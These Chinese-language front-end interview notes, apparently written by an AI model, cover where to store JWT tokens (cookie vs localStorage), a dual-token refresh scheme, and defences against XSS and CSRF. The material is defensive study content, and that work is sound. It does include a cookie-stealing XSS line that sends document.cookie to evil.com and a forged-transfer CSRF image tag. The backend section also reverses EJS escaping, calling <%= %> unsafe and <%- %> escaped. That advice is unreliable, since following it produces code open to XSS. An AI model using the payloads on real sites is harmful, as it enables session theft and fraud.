JWT授权token前端存储策略
HTTP
无状态
,需要记录登录状态——>常见的有Localstorage和Cookie
先介绍Localstorage和Cookie
以下是关于 Cookie
与 localStorage
的详解内容,适合在前端面试中深入讲解 + 简洁总结,帮助你应对各种深度提问。
🍪 一、Cookie 详解(用于前端面试)
✅ 1. Cookie 是什么?
Cookie 是浏览器中一种小型数据存储机制,用于客户端与服务端之间的自动身份识别和状态维护。
✅ 2. Cookie 特点
特性 | 内容说明 |
---|---|
存储位置 | 浏览器内部,每次请求自动携带到服务器(同源) |
大小限制 | 单个约 4KB |
设置方式 | document.cookie 或 Set-Cookie 响应头 |
生命周期 | 默认会话级,expires 或 max-age 设置过期时间 |
作用域 | 可通过 domain 、path 设置发送范围 |
安全性 | 依赖是否设置 HttpOnly 、Secure 、SameSite |
✅ 3. Cookie 常见配置属性详解
属性 | 含义 |
---|---|
HttpOnly | 禁止 JS 访问(防止 XSS 盗取 token) |
Secure | 仅在 HTTPS 请求下传输 cookie(防中间人攻击) |
SameSite | 控制是否允许跨站点请求时携带 cookie,防止 CSRF 攻击 |
Expires | 绝对过期时间(GMT 时间字符串) |
Max-Age | 相对过期时间(秒) |
Domain | 允许该 cookie 可被哪个域访问 |
Path | 允许 cookie 发送的路径 |
✅ 4. 示例:设置 Cookie(带安全属性)
Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600
🧠 Cookie 总结给面试官:
Cookie 是一种自动附带到请求中的小型存储方式,常用于登录状态保持和服务端认证,通过配置
HttpOnly
防 XSS,SameSite
防 CSRF,适合用于安全要求高的身份验证场景。
📦 二、localStorage 详解
✅ 1. localStorage 是什么?
localStorage
是 HTML5 提供的浏览器本地存储机制,支持以 key-value
形式在客户端长期存储数据。
✅ 2. localStorage 特点
特性 | 内容说明 |
---|---|
存储位置 | 浏览器本地,只存在客户端,服务器无法访问 |
大小限制 | 通常 5MB 左右(不同浏览器略有差异) |
生命周期 | 永久,除非用户或代码手动删除 |
同源限制 | 同源不同域无法访问 |
JS 访问权限 | ✅ 可被 JS 直接读取(⚠️ 易受 XSS) |
用途 | 客户端状态持久化、用户偏好、缓存页面等 |
✅ 3. localStorage 常见操作
// 写入
localStorage.setItem('token', 'abc123')// 读取
const token = localStorage.getItem('token')// 删除单个
localStorage.removeItem('token')// 清空所有
localStorage.clear()
⚠️ 注意:localStorage 的数据在所有标签页间共享,但不会跨域共享。
✅ 4. 安全性提醒
问题 | 原因与建议 |
---|---|
XSS 风险 | JS 可读取,不可存储敏感信息,如 Token |
建议措施 | - 使用 CSP 禁止内联 JS - 严格转义用户输入 |
🧠 localStorage 总结给面试官:
localStorage 是一种高容量、长期存在的本地存储方式,适合缓存非敏感数据,但不具备安全属性,易受 XSS 攻击,因此不推荐用于存储登录令牌等敏感信息。
✅ Cookie vs localStorage:一句话区分总结(面试用)
Cookie 适合用于服务端认证场景,支持自动附带和多种安全属性,localStorage 更适合前端缓存状态数据,容量大但安全性较差,两者应根据场景和安全要求合理选择或组合使用。
Cookie和Localstorage谁安全
这是一个前端面试中非常高频且重要的问题,因为涉及到安全性、持久性、跨域、CSRF 等多个维度。
✅ 问题核心:
前端 JWT 存在哪里更安全?localStorage 还是 cookie?
你可以从以下几个维度,向面试官有逻辑地展开:
一、🎯 使用目的和场景
存储方式 | 主要用途 |
---|---|
localStorage | 手动携带(如放请求头) |
cookie | 自动携带(跨域或 SSR 场景) |
二、⚖️ 对比分析
对比维度 | localStorage | cookie |
---|---|---|
存储位置 | 浏览器本地存储 | 浏览器特定域名下的小型数据容器 |
自动发送 | ❌ 不自动发,需手动加在 header | ✅ 自动随请求发送(在同源或设置了 withCredentials 情况下) |
大小限制 | ~5MB | ~4KB |
持久性 | 永久(除非手动删除) | 支持设置过期时间 |
跨站攻击 (XSS) | ❌ 容易被 JS 获取(存在 XSS 风险) | ✅ HttpOnly 可防 JS 读取,防 XSS |
跨站请求伪造 (CSRF) | ✅ 不易受影响(需要 JS 手动发请求) | ❌ 容易受 CSRF 攻击(cookie 自动发送) |
安全控制 | ❌ 无法控制发送行为 | ✅ 可加 Secure 、SameSite 、HttpOnly |
三、🧠 推荐使用策略(答题重点)
✅ 如果是前后端分离 + Token 放请求头场景:
- 存在
localStorage
或sessionStorage
(手动加在请求 header) - 注意防御 XSS(比如 CSP、转义、代码审计)
✅ 如果是跨域 + 自动登录场景(如 SSR、传统网站):
- 建议用
cookie + HttpOnly + Secure + SameSite=Strict
- JWT 写入 cookie 中,由服务器控制
四、📌 面试总结答法(结构化表达)
JWT 的存储选型,要看项目架构和安全性需求:
- 如果是前后端分离项目,使用
localStorage
搭配请求头传递,简单易控;- 若需要安全性更高的自动登录,推荐使用
cookie
搭配HttpOnly
、Secure
标志;- 需要注意的是:
localStorage
抗 CSRF 强但容易被 XSS 盗取,cookie
正好相反;- 理想情况下应结合使用,并加强 CSP、防 XSS、双重验证等机制保障安全。
✍️ Bonus(可加分)
- 配合 双重令牌机制:访问令牌放在 JS,刷新令牌放 HttpOnly Cookie;
策略
前后端分离项目,Localstorge存储Token值,后端Redis校验并设置Token过期时间,Token正确进行刷新(过期时间),不同就返回401状态码,前端相应拦截器根据状态401状态码跳转到登录页面并清空Token
✅ 原方案分析:可行但有改进空间
🔧 你的描述:
「前后端分离项目,LocalStorage 存储 Token,后端 Redis 校验并设置过期时间,Token 正确则刷新过期时间,错误返回 401,前端拦截器跳转登录页并清空 Token。」
✅ 优点:
点 | 描述 |
---|---|
✅ Redis 存储 token 状态 | 可动态失效 token,更灵活(比纯 JWT 更安全) |
✅ 401 拦截跳转登录页 | 符合通用实践,前端体验好 |
✅ token 校验统一化 | 后端统一校验 +续期,减少多端状态不一致问题 |
❌ 问题/风险:
问题 | 描述 |
---|---|
❌ LocalStorage 不安全 | 容易被 XSS 攻击读取,不推荐存敏感认证 token |
❌ Token 刷新机制不明确 | 若只重置 Redis 过期时间,前端 token 实际并未更新 |
❌ 没有刷新 Token 逻辑 | Token 静态存储,不能静默续期,用户体验差 |
❌ 全靠状态码判断 | 若接口不规范(401 返回不统一),易出 bug |
✅ 推荐改进方案(企业级、最佳实践)
🌟 建议采用「Access Token + Refresh Token」双 token 模型:
类型 | 存储位置 | 生命周期 | 功能 |
---|---|---|---|
Access Token | memory (或 localStorage) | 短(如15分钟) | 发请求时用 |
Refresh Token | HttpOnly Cookie | 长(7天或更长) | 自动刷新 AccessToken |
🔐 改进措施:
【1】Access Token 存在 memory / localStorage:
// 登录成功后
localStorage.setItem('access_token', '...')
⚠️ 注意:不要存 refresh token 到 localStorage!
【2】Refresh Token 存在 HttpOnly Cookie 中(由后端 Set-Cookie
设置):
Set-Cookie: refresh_token=xxx; HttpOnly; Secure; SameSite=Strict; Path=/auth/refresh
优势:
- 防止 XSS 访问
- 自动随请求发送(支持
/auth/refresh
)
【3】前端拦截器:拦截 401,自动刷新再重试请求
axios.interceptors.response.use(null, async (error) => {if (error.response.status === 401) {const refreshed = await refreshToken(); // 发 /auth/refresh(自动带 cookie)if (refreshed) {retryOriginalRequest();} else {redirectToLogin();}}
});
【4】后端处理逻辑建议:
- AccessToken:JWT or UUID,可短期过期
- RefreshToken:写入 Redis + HttpOnly Cookie,配对校验
/auth/refresh
: 校验 refresh token 后,重新发 AccessToken(不暴露 refresh)
✅ 图示方案结构(简化)
✅ 总结(面试话术)
我们采用「access token + refresh token」机制,access token 存在前端(通常是 memory 或 localStorage),refresh token 存在后端 HttpOnly cookie 中并用 Redis 管控。通过拦截器监听 401 自动发起刷新请求,有效防止 XSS 泄漏、同时避免频繁登录,兼顾安全性与用户体验。
安全相关
这是一个在面试和实际项目中非常关键的安全问题。以下是围绕 如何在前后端项目中用 CSP 与转义防御 XSS 的系统性答法,包括:
- XSS 原理
- 前端如何防
- 后端如何防
- 项目级最佳实践
- 面试总结话术
✅ 一、XSS 原理简述(面试必备)
**XSS(跨站脚本攻击)**指攻击者在页面中注入恶意脚本,诱导用户执行,常用于盗取 cookie、伪造操作、传播蠕虫
等。
举例:
<script>fetch('http://evil.com?cookie=' + document.cookie)</script>
XSS 主要类型:
类型 | 说明 | 来源 |
---|---|---|
存储型 XSS | 恶意代码被存入 DB,用户访问时执行 | 后端模板、富文本场景 |
反射型 XSS | 通过 URL 参数触发 | 搜索页、URL 中嵌入脚本 |
DOM 型 XSS | 前端未校验地操作 DOM | innerHTML 、eval() 等 |
🛡️ 二、前端项目中如何防 XSS
✅ 1. 严格避免操作不可信内容的 DOM 属性
危险 API:
// 不安全写法
el.innerHTML = userInput// 安全写法
el.textContent = userInput
替代方案:
textContent
- Vue 模板默认自动转义 → ✅ 安全
✅ 2. 使用 CSP(Content-Security-Policy)
CSP 是浏览器层的安全策略,可限制 JS 执行来源、禁止 inline 脚本、阻断注入。
配置方式(Nginx / Express / HTTP Header):
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
Vue 项目可通过 meta
设置:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
常见策略:
策略名 | 功能 |
---|---|
default-src | 默认内容来源 |
script-src | JS 脚本来源控制(禁 inline) |
style-src | 样式控制(建议搭配 nonce ) |
img-src | 图片加载限制 |
✅ 3. 使用框架内置防御(如 Vue)
框架 | 安全特性 |
---|---|
Vue / React | 模板输出自动转义 {{ userInput }} |
dangerHTML | 仅在明确使用 v-html 或 dangerouslySetInnerHTML 时启用 |
🔐 三、后端项目中如何防止 XSS
✅ 1. 输出时 HTML 实体转义
-
后端模板(Jinja2、Handlebars、EJS)默认支持:
// 不安全:<%= userInput %> // 安全:<%- userInput %>(带转义)
-
使用工具包转义:
- JS:
lodash.escape()
- Node:
xss
,he
- Python:
html.escape
- JS:
✅ 2. 严格校验和过滤用户输入
- 拒绝嵌入脚本标签
- 针对富文本,可用白名单过滤器(如
DOMPurify
)
✅ 3. 设置 HTTP 安全响应头
Content-Security-Policy
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: no-referrer
✅ 四、真实项目实践建议(Vue + Node 举例)
项目层 | 安全措施说明 |
---|---|
Vue 前端 | 所有用户数据 {{}} 渲染,避免 v-html |
Vue SSR | 使用 vue-server-renderer 自动转义 |
Express 后端 | 使用 helmet 设置 CSP、XFO 等 |
富文本 | 接收时用 DOMPurify 白名单过滤 HTML |
Token 存储 | 使用 HttpOnly cookie,防止 JS 窃取 |
CSP 测试 | 建议使用浏览器插件(如 CSP Evaluator)测试策略有效性 |
🧠 面试总结一句话(记住这句话)
在实际项目中,我们通过“
前端模板转义 + 后端输出过滤 + CSP 策略 + 禁止 inline 脚本
”多层防护 XSS,同时避免使用innerHTML
和v-html
等高风险 API,从根源阻断恶意脚本注入。
当然可以!下面是对 CSRF 攻击(跨站请求伪造) 的详解,包括其原理、真实示例、常见防护手段,以及适合面试场景的总结语。
🧨 一、CSRF 是什么?
CSRF(Cross-Site Request Forgery,跨站请求伪造) 是一种网络攻击方式,攻击者诱导用户在已登录状态下,对目标网站发起未授权操作。
🧪 二、CSRF 攻击原理
🔁 攻击流程:
- 受害者登录了网站 A(如银行网站),获得了合法 cookie。
- 在未退出登录的情况下访问了攻击者网站 B。
- 网站 B 向网站 A 发起请求(例如转账接口),因为 cookie 仍有效,A 无法分辨请求是否来自真实用户行为。
- 操作成功被执行,造成损失。
📌 攻击示例:
<!-- 攻击者网站页面 -->
<img src="https://bank.com/transfer?amount=10000&to=evil" />
这张图片实际发出一个 GET 请求,只要用户仍然带着登录 cookie,就会被视为有效请求。
🎯 三、为什么 CSRF 能攻击成功?
原因 | 说明 |
---|---|
✅ 浏览器默认携带 Cookie | 跨站请求仍带上 cookie(如 session、token) |
❌ 后端不验证请求来源 | 后端未校验 Referer / Origin 或 CSRF Token |
❌ 用户被动执行操作 | 攻击者伪造请求,用户不知情地发起了攻击行为 |
🛡️ 四、CSRF 防御措施(企业级实战)
✅ 1. 使用 CSRF Token(强烈推荐)
- 原理:后端在页面或响应中生成一个随机 token,前端在请求中手动附带此 token。
- 后端校验 token 一致性,防止伪造请求。
<!-- 后端渲染页面中设置 CSRF Token -->
<meta name="csrf-token" content="xyz123"><!-- Ajax 请求时附加 -->
headers: {'X-CSRF-Token': csrfToken
}
-
常见库支持:
- Express:
csurf
- Django:
{% csrf_token %}
- Spring Security:默认开启
- Express:
✅ 2. 设置 SameSite Cookie 属性(浏览器级防护)
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
属性值 | 含义 |
---|---|
Strict | 完全禁止第三方请求携带 cookie |
Lax | 限制性允许(GET 表单、链接允许) |
None | 跨站可带 cookie,但需 Secure |
推荐:
SameSite=Lax
或Strict
+Secure
+HttpOnly
✅ 3. 验证请求的来源(Origin / Referer)
后端在处理请求时校验:
const referer = req.headers.referer || ''
if (!referer.startsWith('https://yourdomain.com')) {return res.status(403).send('CSRF risk detected')
}
⚠️ 但注意:有些浏览器或跨域请求不一定带 Referer
。
✅ 4. 避免敏感操作使用 GET 请求
- CSRF 最容易攻击 GET 请求
- 所有敏感操作建议使用 POST/PUT/DELETE + CSRF Token 验证
✅ 5. 用户关键操作二次确认(行为验证)
- 重要行为加入验证码、短信验证码、图形验证、滑动验证等
- 增强可信用户行为辨别度
🧠 五、面试总结一句话:
CSRF 本质是“身份伪造”利用浏览器自动携带 cookie 的特性欺骗服务器。我们通过 CSRF Token 验证、SameSite Cookie 属性、Referer 校验以及敏感接口使用 POST 等多种方式组合防护,从而有效杜绝跨站伪造请求。
如果你使用的框架是 Vue + Express / NestJS / Django 等,我可以帮你直接加上 CSRF 的前后端实现方案。是否需要?